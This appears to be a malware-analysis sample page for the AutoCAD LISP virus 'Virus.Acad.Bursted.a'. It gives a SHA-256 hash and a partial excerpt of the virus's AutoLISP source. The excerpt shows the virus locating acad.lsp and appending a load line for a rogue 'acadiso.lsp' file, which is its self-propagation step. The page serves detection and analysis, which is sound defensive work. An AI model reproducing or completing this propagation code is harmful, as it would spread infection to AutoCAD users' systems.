Hostile 100% Download

Virus.Acad.Bursted.a

Autocad virus propagation code

Recognizes malicious autocad files written in LISP
SHA-2560a286f676c0d83bd89cbce58b2e6fc914a967539b02734f56a26704a04b3769b
MaleculeTh

Evidence

Recognizes malicious autocad files written in LISP lines 10–49
10:2… (setq wjqm (findfile nowdwg))
11 (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
12 (setq acadpath (findfile "acad.lsp"))
13 (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
14 (setq ns1 ""
15 ns2 ""
16 )
17 (setq lspbj 0)
18 (setq wjqm (strcat path "acad.lsp"))
19 (if (setq wjm (open wjqm "r"))
20 (progn (while (setq wz (read-line wjm))
21 (setq ns1 ns2)
⋯10 lines
32 (if (and (= acadpath dwgpath) (/= acadpath path))
33 (progn (setq oldacad (findfile "acad.lsp"))
34 (setq newacad (strcat path "acadiso.lsp"))
35 (if (= lspbj 0)
36 (progn (setq wjqm (strcat path "acad.lsp"))
37 (setq wjm (open wjqm "a"))
38 (write-line
39 (strcat "(load" (chr 34) "acadiso" (chr 34) ")")
40 wjm
⋯9 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.